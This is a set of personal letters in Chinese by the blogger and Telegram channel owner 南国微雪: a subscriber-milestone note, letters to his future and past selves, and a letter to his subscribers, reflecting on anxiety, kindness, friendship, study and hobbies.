　　我想成为这样一座灯塔。光芒微弱，但仍希冀着，能为一些人指明方向。

　　这个方向，不必是我去指明。我没有那样的权利。这个方向，可以是“可明得失”的参照方向。而这，也正是我努力的方向。

　　我希望诸位可以知道，在远方，有着这么一个人。他与你们有着几乎一致的求学焦虑，有着同样的诗意栖居，还有时不时的狂妄自大，伤心低落，兴奋高昂与羡艳悔恨。

　　他会笑，跟朋友疯玩疯闹。会哭，当重要之物被击碎。会酸，看到别人有着自己极欲拿到的物事。会一直注视着你们。

　　有些事情变了，有些则一直没变。

　　而以上，则全是我一个人的自白。

　　“能用众力，则无敌于天下矣；能用众智，则无畏于圣人矣。”

　　我仅是一千人中的一人。一个人，成不了这样的事情。此路上，渐渐地有许多人与我同行。他们使我打开不一样的视野，认识不一样的世界。

　　我第一次下围棋是在这里。

　　我第一次知道第三种性别是在这里。

　　我第一次读哲学书是受这里的人启发。

　　我第一次网友会面是与他们一起。

　　……

　　我也仅仅只是一个普通人，而非圣贤。或功或过，有人看着，有人怒诤，这些冷静看来都是一件可遇不可求的事情。

　　“世界上有三种幸福：有人信你，有人等你，有人陪你。”

　　你们，也会是我的灯塔。

　　不久之前达到千人。这是一个里程碑，满心足意。日后怎样，暂时先不去管，活在当下，亦已足以。

　　我不知道自己会不会达到万人这个里程碑。从现实意义来看几乎不太可能。不过这也无所谓，我已经有了许多值得铭记的东西。这东西，是否是奢望，亦或能否实现，都已经不重要了。如果真有那一天的话，也请一起庆祝吧。

　　这里是南国微雪，一个开放自己生活感受的博主，高敏感人群中的一员。一个随意的写手，一个正在学习的绘画新人和语言学习者。以及最重要的一个身份——一个普通人。

　　看，或者不看，我，一直都在这里。

　　路还很长，我们，慢慢走。


　　南国微雪

　　2021 年 8 月 25 日

给三年后自己的一封信

　　敬南国微雪：

　　贵安。别来无恙。

　　其实我不知道是两年还是三年，因为我初衷，是写给大学毕业后，即将步入社会的你。掐指一算，好像是三年。遂撕掉了原来那个错误的标题。

　　到目前， 2020 年已经只剩一个月了。不知道你是否还能回忆起 2020 年那些让人惊心动魄的事情。这一年山山海海的事情是真的数不清。为了避免将这封信写成年度总结一样的东西，我想可以直接告诉你结论：到目前为止，短短一年多的时间，大学生活已经造成了许多的影响，有好有坏，其范围和深度远超离于高中和初中之和。我不知道这是否是正常的，是很普通的人生轨迹，还是说有些影响已经一生镌在性格之中了，只是我不知道。所以我很好奇，三年之后，这样漫长的一个时间，你又会变得怎样。我猜那时候你已经开始工作了，那时候的你又会开始一段新的征程，再对自己的性格造成一些影响，甚至说重塑吗？很好奇，渴望知道，但又有些害怕。至于为什么会害怕，我稍后会说给你听。

　　现在，我只是，将我可能并不会实现的期待、对自己模模糊糊的认知、一些闪闪发光的重要之物，和值得敛进抽屉的大事，尽我能做到的全部力气，说给你。以便于你日后将这几页纸翻出来查看时，能有个确凿的证据。证明你自己，或是我自己，确实发生了某些改变，抑或没有。至于是喜是忧，权交予你自己评判，我无需关心。毕竟，当你再看时，这都已是过去而无关紧要了。

　　大学里的变化，首先无论怎样都绕不开眼的，就是性格。

　　这一部分我可能会以很长的篇幅叙述。语气可能也会类似于之前那封一样，比较严肃，还请做好心理准备。

　　第一就是变得更加敏感多虑。

　　我隐隐地记得，我高中时都不会有这么多的想法，但却可以察觉到，那时候已经慢慢形成了自己的价值观和思维定势（虽说这是一个贬义词）。大学相比高中考虑得更多，也常常因此会把自己困扰住，迈不出去那一步。臻至此，我甚至可以称其为庸人自扰。而这个现象导致了我常常与焦虑捆绑在一起。脑内经常做出各种对于前程的夸张而糟糕的妄想，却迟迟迈不出行动，跟被迫害妄想症有得一拼。最严重，尤为记得是在疫情期间，上网课那时候，又适逢工作室考核，身边又没有同级或同等水平的人供我做一个努力参考。每天都过得身心俱疲。明明在家里什么事情都没干，却被夺了一身活力。那时候坐在电脑前，二倍速，每天看三到四个小时的 Vue.js 网课，却仍觉得自己不够努力。现在想来，难怪疲倦，勉强自己却还不自知。可能资本家比较喜欢我这样的人吧。

　　说实在的，这敏感而焦虑的头号个性，曾给我带来很多困扰。我会比别人多出一些常人以外的感性、看法和结论。诚然，它有时会给予更独到或是更宽广的视野，但更多的，赠予我的大多是一些没有什么意义的感受，并且有概率使自己陷入情感漩涡而不能自拔。我至今都不知道怎样与它相处。或许你会有答案，或许我一辈子都找不到答案。谁知道呢。我无数次地想要强压这种感觉，比如深夜自责白天哪句话有没有对别人造成不舒服的感觉这种白痴的无聊想法，但最终发现我做不到。也就慢慢地妥协和好了。我还可以改变自己的想法。毕竟，我也不是没有受到过它的恩惠。

　　温柔，大概算是其中之一吧。因为有更敏感的内心，所以能注意到更微小的情绪波动。在语气不对劲的时候，及时调整方向或改变措辞。我并不讨厌自己的这种性格，甚至可以说，很喜欢。其实往坏里发展和想象，可以说是圆滑世故八面玲珑。但我并不想这样。我想要的只是将这种被人温柔对待和温柔待人的温暖，分享和传递出去。假使有一个人受到我的影响也好，足以证明我没有白走这一遭。愿景很美好，但问题也依然严峻。更多的人似乎将我的温和，签上日常和好欺负的贴条，得寸进尺是常有之事。或许这就是人性吧。我一直很犹豫要不要将这份温和继续保持下去。不过可能这份踌躇并没有用，因为并没有习惯处理保持尖锐所带来的感觉和后事，就姑且维持下去，这种可能性对自己来讲会更大一些；二来可能是自己观点的偏激。动漫上有许多男主角除了温柔一无是处，害怕自己也成为那样。毕竟，每个人都想要自己是被优待的那一个。温柔多了，也就不值钱了。每个人都会觉得那是理应且理所当然的，自己应得。久而久之就带来了第一点的问题，并且使自己沦为工具人的境地：无限制地被索取好意，到头来却无人理睬。现在的动漫对于温柔的定义，多半带有负面的评价或是嘲弄的语意。是世界变了，还是我变了？我想我永远也找不到答案；最后便是限度的问题。我总把握不好温柔与懦弱的界限。可能有时候对外是温柔，却只有自己深知只是自己懦弱无能罢了。所以我时常怀疑自己是否真的具有温柔这种能力，还是说自己已经迷失到了没了棱角的平庸和懦弱，只会自己压抑和欺负自己而已。

　　第二，该解决的缺陷依然留在那里：自信力、自爱、解压和放过自己。

　　现在深知自爱也是一种能力，这一年多，我觉得自己从来就没有真正意义上地放过自己。后两者在很多时候都是相伴而行，我却从未理睬过它们。哪怕一眼。我不知道自己总结的这些缺陷，是否有过分解读的倾向，但我敢保证，这些是绝对存在的。至于自信力，我觉得还是在部分方面，对于自己的认知不足所导致的。或许也有一些多虑的原因——总是尽可能地考虑后果，并竭尽全力想齐，却总是出现意外情况，导致自己不敢打包票。在一次一次的重演中，开始自闭并怀疑自己的能力。以上综合导致了这个局面。自己对于自己的认知，在某些奇怪的方面超乎寻常的多，却在有些方面知之寥寥。觉得自己很搞笑。

　　第三，是很早察觉到，却最近才弄清楚的诡异之处——害怕深交。

　　越是亲密的关系，越是害怕。并不是害怕社交和与人接近，而是害怕离去。随着交往的时间增长，深交之人在心里的重要程度，会随之水涨船高。我觉得和我这样奇怪且麻烦的人交往这么长时间，本就是一件很辛苦的事情。并且时间越长，这份花时间去了解一个人的成本会逐渐增值并且闪闪发光。包括一起经历的事情，聊过的天，都会使它变得愈加晶莹透亮。让离去的成本变得更加高昂。我经不起在感情世界这样昂贵的打击。交往越深，不安越明显。强烈的不安会使自己不停向对方确认自己的重要性，以使自己获得别人也经不起自己离开这种打击所折射出的虚假安全感。我自己也知道交往这么深了，没有谁会抽身离开。但万一自己哪天踩了无法挽回的雷区呢？明白是一回事，但终归还是会怕的。

　　第四，我似乎……变得更色情了……

　　讲真的，高中及以前没有现在这么色情的。现在我觉得自己色到，担心未来的女朋友能不能经得起自己折磨了。但是现在这种程度也不是不能忍受，万一遇到一个比我还色的女孩子，那可能我就要遭殃了。毕竟我还只是嘴上说说比较多，只要到上的时候指不定自己有多怂呢。依我这改不了的性子，真要比较激烈的时候，估计自己又会担心起女孩子的疼痛感和身体状况，然后主观或被迫中止了。改不了了。认命吧。

　　但上述这一切，都建立在我有女朋友的情况下。但其实自己觉得，不会有女孩儿喜欢我这种性格的男孩子的。自己呢，能跟她们做好朋友就已经很满足了。也就不奢望什么了。一直觉得自己这种容易满足，有时是一个优点，有时又显得有些可怜。

　　性格这个东西，初中是有意识，高中也了解，大学了依旧是这样，差不多是已经定型了。真要改可能会狠下一番苦力气。我不知道你那时候有没有这样的勇气。但大学里可能并不会对性格造成多大影响，工作了倒有可能，毕竟那时候新阶段，且时间长。但那时候又会有新的信了，一切等那时候再说吧。现在论这些没有意义。

　　性格之下，接踵而来的，便是未来，也即工作。

　　前封信里，那时候的自己坚定地说要考计算机。现在如愿以偿了。算是一大喜事。然而事到如今了，自己却开始反思自己是否真的喜欢计算机了。对于它，我确实保持有好奇心，但总感觉不太够用，因为这是对所有未知的常态体验。而真正热爱所达到的驱动力，却远比这个要高。到了大学仍不知道自己想要什么，听起来似乎很滑稽。想来那时候会有这种笃定的信念，约莫是受哥哥影响以及自己把它抽象成一个符号了之故。不过也还好自己仍保有好奇，并且这行业迭代快，总有新事物去了解，倒也还过得滋润。暂且就这样，一步一步地走下去吧。你都已经工作了，不知道你对此又会怎么想呢？真是好生期待啊。

　　对于继工作之后的闲暇之谈，我总觉得有些难以言尽。

　　我想，原因大抵是有的：一是我正在慢慢丧失对生活的感召力；二是自己对于某些事物的热爱，正在逐渐消褪而趋于平常。其中最典型的，大概就是舞蹈了。现在仍会去跳舞，并且依旧会很开心，但时间是不如以往多了。像是过了热恋期而进入平淡期的恋人。对于那种对待伴侣不好的自己，自己也很难接受，却是可能会发生的事情，虽说直到现在我都无法想象。我想自己应该还是喜欢舞蹈的，但可能没有以前那么热爱了。然而我能感受到身体内还残有一丝火苗，只等它再次被点燃后疯狂。至于对生活的感召力，可能是在慢慢缩小了。有时候生活中的小美好，自己可能有些已经习以为常了。但不想要这样。我还是想要一点点地观察那些在微小跃动着的瞬间。一轮夕阳、花朵上的露水、奔跑的人影、收到的小零食，这些都值得被记录和记住。或许传播这些，才是我的意义。作为一个创作者，真正想做且应该做的意义。

　　我不知道你闲余时间还会不会去学习和创作，至少对于我现在，我是什么都想学。创作类的技能，想多领悟一些，以期更好表达我预期表达的想法。希望那时候你仍有这份精力，想法而保有好奇。如是这样，我便再开心不过了。至于学没学会，工作年限那么长，相信缓慢的进步终究会绽开漂亮的作品。有趣的灵魂是永远不会老的，我一直这样坚信着。

　　我一路上都受了很多人的帮助。不知怎么去言说，也不知道要说些什么。只能吞吞吐吐地写一些宝贵珍重之物。虽说写在这里可能有些晚了，但细一想并没有经过多久，却觉得像陈年旧情。这大概也算是一大幸事吧。

　　而那些令我害怕的深交之人，大概就是我最珍贵的东西了。珍，一直交流就没有断过；骆，虽然平时不怎么说话，但能看见他欠打的脸就很安稳了；昆和庠他们，虽然有时会给人造成很多困扰，但室友一起打闹的气氛让人非常安心；以及在 TG 上认识的某傻、变态蓝、芋頭、卖弱喵、二货穗、枫喵等等很多人，都是我重要生活组成的一部分。每当我情绪崩溃的时候，总能看见他们还在我身边。

　　很温暖。

　　我至今不知道自己对他们的意义，或许在他们眼里，我只是他们不小心闯入的某个小世界的主人，根本不重要，亦或我影响了他们的生活，对他们很重要，但这时候显得并不关键。我只用知道，他们对我很重要。我想要回馈他们。

　　这一年也发生了许多。进了工作室，遭遇诈骗，收到了许多信，很多很多。有好有坏。不可否认，坏的那些也构筑了我的生活，让我体验了以前不会去体验的事情。有好就会有坏，所以我并不后悔。

　　我只希望在这时候，这三年后的你，带上我未知而你拥有的后半大学体验，连带我感受过的前半经历，好好清点下这不长也不短的人生四年。然后扔进回忆箱子里封存。头也不回地轻装上阵，去感受下一阶段的人生体验。

　　等到你也需要封存新一片回忆的时候，再把这四年拿出来，掸去灰尘，洗净，放在太阳下，看它缓缓地闪闪发光，散出七彩的芒。如此这般，我也就心满意足了。

　　对于前路一片未知的我，也作为过去的你，只能虔诚地祝愿你在接下来的时光里，慢慢长成一个温柔的大男孩。历经百态却依旧热爱生活，温和待人。

　　然后，

　　祝你一路顺风。


　　此致


祝：

　　怜花惜落

　　笑容常绽

　　百态尽愿

　　温柔如水


　　南国微雪

　　2020 年 12 月 1 日

致两年前自己的回信

亲爱的南国微雪：

　　近身体抱恙否？

　　虽然很抱歉，但我还是要说，我现在拖着一副感冒的身体。而且感觉蛮严重的。这封信我想写很久了，但由于各种事情一直搁浅到现在。闲话就聊到这里，接下来就解答你所想要了解的东西吧。

　　第一，高考。

　　我相信这个，你应该是最想要了解的东西之一了。但我不想正面具体地给出分数。确定的未来很无趣，不是吗？我唯一能准确给你说的，就是你完成了你的使命，考上了川内的一所211高校，遇见了很多有趣的人。但我并不想就此结束这个话题，因为对于此你还有极多的困惑，我也还抱着无限的眷恋。说实话，我非常羡慕你。非常非常羡慕。到了想哭的地步。我知道这看起来荒唐且可笑，但这世界上啊，总是有许多超出你理解范围之外的物事，直至你去走它一遭罢。我仍然记得高考前一天下午，天空碧蓝如洗，像是退回了猿类时间一样 ；记得那一天的下午，所有店铺除一家外全部关门，而那家店主笑盈盈地送了你两份炒饭，没收一分钱；记得宿舍水龙头涌出的温度；记得你躲着喜欢的女生（暂时先这样认定吧）时，那小心翼翼如履薄冰的样子，还有——

　　那晚所有学生三两成群抱头痛哭的样子。

　　我不能形容那是一种怎样的场面。文字太乏于表现，只有你自己去感受。那次是所有12班学生最温暖的场面。酒精，他们涨红的脸，火锅味，还有哭声和笑声等等等等一切的一切都在刺激你的神经，进攻你内心最柔软且最为怯懦的地方。

　　家族——大概是这种感觉吧。或许有更为贴切的词但，我不知道，也不想去用。就这个词，就好。为什么这些人至今都让彼此有着不可磨灭的刻痕？我不知道。但或许能捉摸个闪闪烁烁的轮廓。大概，放在动漫里，是一部尚在学着如何去教育别人的懵懂老师，和一群懵懂而吵闹的幼稚学生，在一起慢悠悠地成长的温暖画卷吧。

　　那天晚上，是我第一次被酒精上头的杨老师摁在墙上，被教育着“你要学着去倾听外界的声音”；

　　那天晚上，是我第一次被两个朋友架着手臂，怒吼出自己被那个她伤得累累刻痕的敏感内心。

　　“ 你不要去管她。像你这么优秀的人，被伤成这样，不值得。”他们都这样说。

　　我优秀吗？我听过很多人都这样说过我，但是完全没有这种自觉。那天杨老师找我约谈，也说过很多同学都说我优秀，叫他来转达，叫我拿出点自信。但我至今仍认为自己的长处是理所当然，满眼皆是我的短板。似乎长这么大以来，你也是，我也是，一直没有改掉这个侵噬自我的认知。

　　但这样就能说白活了一遭吗？未必，因为最次，你收获了一个如同家人般的存在。

　　那是一个在你高中生涯中几近无缘的人。李钰珍。

　　大概这就是命运最为捉弄人的地方了。像是一场蹦极，高中时候你与她的缘分一直在往下坠，然后触底反弹，一直到现在。此后还会坠落吗？不知道。但我大概会等她到最高点的时候，把蹦极绳割断，拉她上来，然后一起看太阳慢慢沉下西山。

　　因为她，弥足珍贵。如果失掉了，我会疯的。

　　绝对。

　　珍惜吧，那些重价到钻石望尘莫及的人们。骆虹成，李钰珍，蒲鹏旭，何重泽……还有我们最可爱而可敬的班主任，杨老师。

　　总之，你的高中生活像是一条大海。虽然你目前仍是其中的鱼，周围危机四伏而不自知，但你是幸福的。或许，你多多少少有些察觉，但远没有像我现在这样，被拎着扔进鱼缸后知道得明晰。

　　但倘若你要问我愿不愿意再回去高考。我的回答是：不愿意。因为那是只属于你的时光。

　　而我，只是个局外人罢了。

　　所以我只能带着最美好的祝愿祝福你：希望你能享受它。因为那，便是生活啊。

　　第二，学习和工作。

　　我想这段，你应该是理解不了的，我现在是怎样渴望的一种状态。那是一种质的飞跃，从二维度跃至三维度一般的广阔世界。所以，我想告诉你的是，如果你有想学的东西，请不要犹豫，马上行动。不论怎样，未来的你总是不会伤害你的。我等着你写信报答我的那天。

　　“人学习的动机只有两个：一个是希望，一个是恐惧。”我和你，分别处于两个世界。请一定一定一定要行动。不论你想学什么。

　　我正在前进，我相信，你也行。只要你相信我。

　　最后，娱乐与生活。

　　在写下这段东西之前，我首先得向你道歉，因为你所希望的，我业余时间玩玩游戏什么的，我已经做不到了。因为想学的东西太多，导致我各方面深造时间都不够，所以游戏这种东西，只能暂时搁置了。但娱乐这方面，并没有搁闲，而是换成了跳舞，画画这种兴趣爱好一样的东西，不用太过担心哦？并且大概你会很兴奋，因为日语这个东西，我已经开始进步很多了，这两天准备进军标日初级下册，请祝福我吧。毕竟这些东西可是花了我很多精力的呢，完全不像在感情上面。

　　说起感情，我只能说，这是我注定的一场劫难。现在的我比你更加感性与敏感。珍惜很多人，朋友、家人，甚至对陌生人能送出温暖，但唯独对于恋情提不起兴趣。

　　很遗憾，我还是不能理解对于恋人的喜欢是一种怎样的感觉。像是动漫里的男主角一样，可能需要提醒才能捉住点点影子。然而我又称不上男主角，因为既没有才华又不够温柔有魅力。什么是喜欢？或许我需要穷极一生才能找着吧。我现在唯一希望的，就是那些可爱的女孩子们不要被我糟蹋了才好。

　　有些人说我很温柔，但我想是远远不够的。他们只是到不了我心灵的阴暗与变态之处罢了。我是这样认为的。触碰到之后，可能会将他们吓走？亦或是这只是我对于自己的过分苛责？我把握不好这个度，一切都搅成一团了。但唯一确定的是，我想有一个能够接纳我的拥抱。那种我暴露一切之后，仍能接纳我的拥抱。很想要。我会对其足够好的，倾其我能达到的最大温柔。

　　很多的自说自话，没能回答你所有的疑惑，有些抱歉。但这便是 3 年后 2020 年的你。我说给你听的，只是变化的冰山一角。

　　若是哪天彗星撞地球，砸开一条我和你之间的通道，把这封信送到你手上的话，希望你能接受。至于没有讲到的变化，等我们改天再聊吧。现在一并说完太过无趣了点。

　　我期待着那天。

　　我正拨开计算机科学与技术的荆棘杂草，希望你能从高考这条小路上追上来。最后，跨越时间地对你说一句：愿你高考顺利。


祝：

　　温柔如水

　　阳光似骄


　　南国微雪

　　2020 年 5 月 10 日

致南国微雪频道每一位订阅者的一封信

　　亲爱的 小姐 / 先生：

　　近贵安否？

　　我想了很久用什么样的身份来和你们交流，最终还是定位在朋友上了。在一切之前，还请先让我说一句谢谢，和道一声歉。谢谢你们能在 Telegram 万千频道中定位并关注了这样一个人。而道歉，则是因为，我没有能力为你们每一个人写一封信，所以，这能这样了。不过，接下来还请当做，我与你一个人的对话呢。

　　我不知道你是怎样找到我的。TGCN？转发的消息？无论你是通过哪一种方式，我们都在互联网这个错综复杂的大线团中，有了一根名为频道的线，从而联系在一起。此后，我的一举一动，都能通过这条小小的，可爱的线，被你所观测到。我很庆幸，在高考之前的某一天锤炼出了这样一条线。

　　我一直以来都有一个传达自己理念的想法。它在我的心里像是一根小小的狗尾草，不起眼，但总还是在那里，不时还轻轻刮一下心底，让人心里痒痒的，不愿放弃。你是否通过频道里面的内容，隐隐地感觉到了我想向你传达的东西呢？如果有，我会很高兴的。如果没有的话，也不用担心，我想，接下来，你会明白的。

　　我啊，只是一个再普通不过的男孩子。饶是有很多订阅者说我很可爱，但我依然没有这种自知。普通地上学，普通地和朋友打闹，普通地学习，普通地在 Telegram 上发着自己的生活内容和一些所见所闻。是那种丢进人海里，你都不会再注意到的那样的男孩子。不过呢，就是这么一个男孩子，他也会躺在高中晚上的塑胶草地上，望着天上的星星发呆；会在去往宿舍的路上，回头看着接近午时却依旧亮着灯的教室而感动；会在去往舞蹈室的路上，逗着一只路边的小猫，然后为它不肯接近自己而感到失落；会一个人坐在路人稀少的楼梯台阶上，静静地掩头哭泣；会因为买到了哪怕只便宜了一块钱的商品而开心到不能自已。

　　或许是因为你们在我身上看见了自己现在的、自己曾经的缩影吧。我是这样想的。因为我没有什么自信，所以我也不清楚自己身上有没有别于其他人的特质。但是没有自信这一点呢，可是害了我很久呢。所以我希望你，不要像我一样好吗？

　　至少，我希望你在以后某个伤心失落的时候，会想到曾经有一个名叫南国微雪的人，给过你肯定和赞赏。如果那时候你能露出笑容的话，那将会是我一生的荣幸。毕竟，你自信起来的样子，可是十分漂亮和帅气的呢。

　　至于为什么会有这些想法，我想，可能是因为我曾经的一个想法。

　　曾经我想变成一个女孩子来着，但是随着年龄的渐渐增长，渐渐舍弃了这个想法。因为我觉得，如果我变成女孩子的话，或许会对以后的伴侣感到不安：他会对我提一些过分的要求吗？他会珍视我吗？……所以我想，我能做的，大概就只是将自己变得温柔，来缓解她的不安吧。这大概是支撑我这样做下去的最大动力。很不可思议，有时候这样天真的想法，会产生巨大的力量。但是随之而来的烦恼，有时候会让我困扰不堪。前两天看到一句话：“善良和爱都是免费的，但不是廉价的，你的善良，需要带点锋芒，你的爱，需要带些理智，带眼识人，毕竟不是所有人都配拥有它们。”(1)所以我在想，会不会，我也需要这样做呢？

　　最后我想跟你聊聊的就是一个很重要的东西——学习。

　　既然都已经看到这里了，我希望你能耐心看下去，就算对这两个字产生反感。能满足我这样一点小小的任性吗？

　　我以前也总觉得，父母总是在提学习学习，让我很烦。但是上了大学之后情况就完全不一样了。周围很多人都很厉害，我也认识了很多我从来没有接触过的领域，我也由此产生了浓厚的兴趣。兴趣是最好的老师，这句话真的不是说说而已。我从“要我学”转变成“我要学”之后心态发生了很大的改变。每天不去学习心里会很不安，像是做错了事的孩子一样。而且，当自己真正地沉浸于自己的兴趣中时，那种感觉真的很享受，感觉一切都不再重要，只有自己，和眼前自己所喜爱的事情。那个时候，你会目不转睛地盯着屏幕，只为了给敌人来一个死亡暗杀；那个时候，你会看见自己笔下的画像越来越明晰，从而感到一切都值得；那个时候，你会因为听懂了欧美角色所说的话而有了继续前行下去的动力；那个时候，你会因为自己与原唱重合得天衣无缝而引以为豪……一切都是值得的。

　　任何一门专业的知识技能，兴趣爱好，总要经过无数专业知识的灌溉和艰苦的训练，这也就是我们为什么要学习。无意识地变成说教了呢，真是抱歉。如果你还没能经过我所说的心理上的转变，或是仍然厌学的话，相信我一次吧，就这一次，选择一项自己稍微感兴趣的东西，坚持下去。等你回首时，会发现一切都是值得的。没有兴趣的话，可以选择一个自己不反感的东西学下去，相信你会因为自己在它身上付出的努力而渐渐喜欢上它的，就算仍然不喜欢，那个时候扔掉也不迟，毕竟，人嘛，自己开心是最重要的。

　　以上就是我想说的所有东西了。因为我并不了解你的处境，所以我希望我的这些想法，不会让你觉得傲慢。倘若真有这样的情况，摒弃我所说的一切，跟从自己的内心就好。其实我想说的东西还有很多，不过一次性说完的话，未免太过遗憾，你也不会想看，就等到日后再说吧。

　　回头看看，发现尽是说的关于我自己的东西，还是蛮不好意思的。文章结构也散成一团。不过这样也好，结构严谨的文章总不像是给朋友写的，倒像是一个艺术品，只可远观。这些权当作是为我自己的辩解吧。

　　如果你能温柔地接受我的这些想法的话，我会很开心的。如果能去实践的话，那将是我无上的荣幸。最后，再提点小小请求吧。微雪呢，只是一个普通的男孩子，还有很多地方不为你们所知道，请不要对我产生好的幻想……到时候幻想破灭的滋味可是很不好受的呢。以及，请不要在任何地方说我可爱和温柔了（特别是我群里的那些人），我会很不好意思的……把我当作一个坏人就好，我还是蛮想做坏人的。（笑）

　　这篇文章的话，权当作是我和你之间的秘密吧。不过如果你要转发的话，我也很乐意。

　　那就这样了。

　　我要关灯了，晚安。


　　祝：

　　温暖如春

　　柔眼脉脉

　　如花如曳

　　君临天下


　　你们的频道主

　　南国微雪

　　2020 年 4 月 14 日


收信地址：订阅者的心灵深处

　　收信人：订阅者

　　寄件人：南国微雪(http://t.me/TinySnow)

寄件地址：南国微雪|一切，都很美丽。(http://t.me/TinySnow4Yi)

附注：

  • 1：消息来源：https://t.me/LinsBookA/422；

  • 2：文章里埋藏了一个彩蛋，有兴趣的话可以自行寻找，不过正确不正确，就不知道了呢（稍微想坏心眼一点）。

致两年后自己的一封信

亲爱的南国微雪：

　　你好！

　　也许看到这里你会疑惑，为何已经写过一封信后隔了一年又再写一封。并且都是寄给未来同一时间段的你。说实话，我也说不清楚。但奈何心中就是有这样一个强烈的愿望。有可能其中一个原因，就是高一那封信有点让人看不下去吧（笑）。尤其是最后那段叙述感情的文字，看起来真的是令人汗颜呢，也不知道当时是花了多少勇气和时间把它贴上去的。

　　现在是2017年国庆，也就是说，我高二了，当时的你，高二了。说起来这些都是废话呢（笑）。作业还剩好多，但是打开日记本却还是抑制不住，文字有这样巨大的吸引力，我也是今天才知道。你应该是没有作业了吧？想想就觉得好幸福啊。但实际是怎么样的，我当然是不知道的。倒不如说，知道了才更恐怖吧？

　　好了，先不开玩笑了。我先来问问学习呀，事业呀方面的事情吧。

　　我现在尤为关心的，就是你到底选了哪个专业呢？这对我来讲是很重要的。嘛，不过先不管以后工作和专业对不对口吧（笑）。这时候的你对所选的专业有没有兴趣呢？还是说和哥哥一样，顺从了父母的意愿呢？还记得我前天和哥哥一起玩《cuphead》（《茶杯头》）时曾坚定地对父母说，我要选计算机专业。甚至到了夸下海口说，以后自己对自己人生负责的程度呢。不知道你是否实现了这犹如执念一样的东西？ 现在想来，我是否是真的对计算机感兴趣呢？不会只是哥哥给我介绍一点，我只是觉得很有趣的那种肤浅程度吧？我想这时候，你应该很清楚了。如果不是，那你真正的兴趣又在何方呢？

　　又记起之前的一件事了，那是初中的时候。那时候的我还想着创业来着，而且满腔热血来着，还为自己制定了一份头脑里的计划来着。但现在热情已经被时间打磨得差不多了，不知你想没想过呢？关于创业。当时心里还暗想着，大学两年或三年，要自修完所有课程呢，你现在有这种勇气吗？我觉得结果已经摆在我面前了，毕竟我了解你呢。（笑着叹气）

　　回到之前大学这个话题吧。大学毕业了，你准备从事怎样的工作呢？和你专业有关吗？而你又会去哪里工作呢？这些你已经考虑遍了吗？毕竟这时候，你不可能像现在的我这样无忧无虑了吧。目前，我就只需向着高考奋进就可以了。而你却要把这些都要想一想，虽然很辛苦，却又不得不去做呢。你可不能像现在的我一样再拖延下去了哦！知道你有懒癌，但这也是必须克服的一个东西。而我现在还有让拖延症继续发作的资格呢（笑）。再回头来，你有一个宏大的目标或梦想吗？亦或你有就任一个小职位挣扎在社会底层养家的觉悟吗？如果你按照我现在的期望，成为了一名计算机从业人员的话，有每天都要待在格子间里对着电脑工作，而且会时常加班的觉悟吗？你能否忍受这些？到那时你还能保持对工作的热忱吗？能对付每天下班随之而来的，怒涛般的负能量和倦怠感吗？有面对这些的决心和思想准备吗？我当然肯定希望你是具有的。若你还没有想过这些，请好好地考虑一下吧，由两年前的我来提醒你，是再好不过了。毕竟你是要马上成为一个社会人的人呢（笑）……

　　都说，过了大学这个坎，要轻松很多。只要不挂科就可以了。我觉得也是这样。但还是能希望你能在大学里面锻炼一下你自己。毕竟大学是一个小社会呢。可以的话，还是想你去拉拉赞助啊，打打工啊之类的可以提高自己说话能力的活动，反正去了又不会少块肉，对吧？而且还能塑造自己，何乐不为呢？我尤其想让你提高一下察言观色、随机应变的能力。我想以前你看世界互联网峰会时，马云、雷军那些大佬台上暗自为对方挖坑的情势你还记忆犹新吧？那些人处理说话措辞、随机应变的能力是真的很厉害啊。虽说也不需要你到那种程度，但这方面的能力还请一定要提高哦！

　　若是还有余闲的话（我想应该没有了吧，笑），希望你能再变得稳重、干练、锐利，说话有逻辑性一点。还有就是要保持活力，富有创新头脑（因为很有可能你会因为兴趣而去开发软件、游戏之类的）、积极乐观、有城府的同时天真一点，不要无谓地猜测揣摩别人的心思想法等等好多。当然这些都不是非常必要的，必要的我都写在上面了（虽说不知道写的什么就是了哈哈），若是你连这些都能做到，或是改正的话，我当然是非常开心就是了。虽说对你没什么实质性好处，但你会爱上自己呀（笑）。

　　好了，说完这么一个严肃向的话题，我们俩说说个人、生活方面的东西吧。我写在前面那个话题时，就一直很期待这个欢欣愉悦的话题呢。话说回过头来，我还不知道前面那个事业方面的内容我到底写了什么出来(─_─||）。

　　我要开始问了哦？我知道你曾经无数次地想通过自己的文字，塑造一个个个性鲜明，令人印象深刻的那么一个或几个角色。不知道你现在有没有办到？没有的话，可以选择去尝试一下。因为好像很有意思。但我以过去的你的身份提醒你，千万不要去描摹现实中的人物。可以的话，最好连名字也不要相近或相同。因为那样你会不自觉地将你创造的人物往现实中的人身上套。导致你会对笔下的人物怎么也不满意。尽量避免这一点吧，当然，如果你想用现实人命也不是不可以，毕竟有过前科呢（笑）。

　　你现在有steam账号吗？或是杉果、GOG之类的也可以，我是觉得有那么一个东西更好一点，放松，无聊的时候有事情可做，有游戏可玩。话说那个《茶杯头》真的是难死了呢……一直你都说过想要支持正版，我也希望你这样，在这里就不强求了吧。但我想，有这个意识最好，毕竟你以后也要成为开发者呢。

　　最重要的一个问我放中间吧。你有没有女朋友啊？（阴险）如果有的话，那我现在这里恭喜你吧，刚踏入大学就能找着女朋友，看来也是个情场胜手呢（笑）。没有也没有关系，毕竟这个东西不急，也急不来，你也可以稍微期待一下，以后的你在大学中会不会找得到。不过我想计算机专业的女生应该没有多少吧？

　　再来看看我吧，想必你也了解我，我现在正在经历一个感情动荡期，不知道何时才能结束，恢复到原来的自己 。不过好像已经快接近尾声了呢 。说来也甚是搞笑，我本以为，我不会像动漫中的人物那样确定不了自己的感情。一直认为认清自己的心情是一件很简单的事。但现在我发现，其实真的很困难。因为你的决定不再只关系你一个人，而是两个人的命运。有了初中的那件事，我不敢再对自己的心理轻下定断，这也是你知道的。我现在一直徘徊在两种完全不同心绪之间，像《少女领域》中飞鸟凑对风莉一样。他为了寻找自己真正的心意而对风莉刻意保持距离了好久。我想这大概也是最好的方法吗吧？你在这方面有什么经验能提给我吗？虽然我大概是看不到呢（笑）。

　　回到原来的话题吧，我知道你想有一场轰轰烈烈的恋爱，像桐人和亚丝娜、珂朵莉和威廉那样美好的关系。所以能请你改掉现在我身上的那些小毛病吗？我想那些你应该都是知道的。我觉得只有抛开虚荣心啊、话唠啊这些东西才值得去爱别人，也才值得被爱。你们之间是经不起伤害的，奈何我经历了两次疼痛才明白这个道理。千万要改变啊！不能跟我一样。希望你能早日抛开那些陋习，真正成为一个像威廉那样勇敢担当、大度阳光、温柔如水的男孩。

　　我也知道你想做很多事情，我毕竟是曾经的你。我也鼓励你去做这些，但希望别再浅尝辄止。

